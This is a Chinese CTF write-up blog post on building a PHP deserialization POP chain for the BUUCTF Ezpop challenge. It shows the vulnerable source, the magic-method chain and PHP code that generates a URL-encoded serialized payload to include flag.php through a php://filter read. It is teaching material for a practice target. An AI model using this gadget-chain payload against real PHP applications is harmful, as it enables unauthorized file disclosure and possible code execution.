pop链子的构造+反序列化(学习ing)

最近做了强网杯的赌徒,写一下心得体会,第一次构造pop链子,我们先从BUUCTF
[MRCTF2020]Ezpop说起

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

最先要学习的就是面向对象和魔术方法的套用
魔术方法:

__construct  当一个对象创建时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__get()    用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke()   当脚本尝试将对象调用为函数时触发

看一个反序列化函数,那么首先就是要通过wake up魔术方法来进行切入
也就是说这里是起点,第一步已经完成。
那么我们开始考虑第二步注意this->source这个地方,如果我们构造一个类进去,也就是说,如果this->source = new Show,那么会触发__toString,一个对象被当作字符串调用。
这是最后要写的
我们先看一个demo

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php' ;

}

class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
    }
}

class Test{
    public $p;
}

$a = new Show('aaa');
var_dump($a);
echo '<br>';
$b = new Show($a);
var_dump($a);
echo '<br>';
$a->str = new Test();
var_dump($a->str);
echo '<br>';
$a->str->p = new Modifier();
var_dump($a->str->p);
echo '<br>';
var_dump($b);
echo urlencode(serialize($b));

在这里插入图片描述

D:\phpStudy\PHPTutorial\WWW\1.php:31:
object(Show)[2]
  public 'source' => 
    object(Show)[1]
      public 'source' => string 'aaa' (length=3)
      public 'str' => 
        object(Test)[3]
          public 'p' => 
            object(Modifier)[4]
              ...
  public 'str' => null

source是一个类触发__toString 函数,然后赋值的str指向Test类,触发get魔术方法
最后p指向一个Modifier类,触发最后的__invoke() (当脚本尝试将对象调用为函数时触发)
方法,然后include我们的伪协议直接读取flag.php
最后的pop链子构造
我们第一步是要让source

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php' ;

}

class Show{
    public $source;
    public $str;
	public function __construct($file){
    $this->source = $file;
    }
    public function __toString(){
        return "karsa";
    }
}

class Test{
    public $p;
}

$a = new Show('aaa');
$b = new Show($a);      第一步触发__toString 
$a->str = new Test();	第二步触发_get函数
$a->str->p = new Modifier();     第三步触发__invoke()  
echo urlencode(serialize($b));
?>

我建议新手在找链子的时候先通过phpstorm的单步调试,拿着链子走一遍,这样更有利于我们理解魔术方法和php语言的特性。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值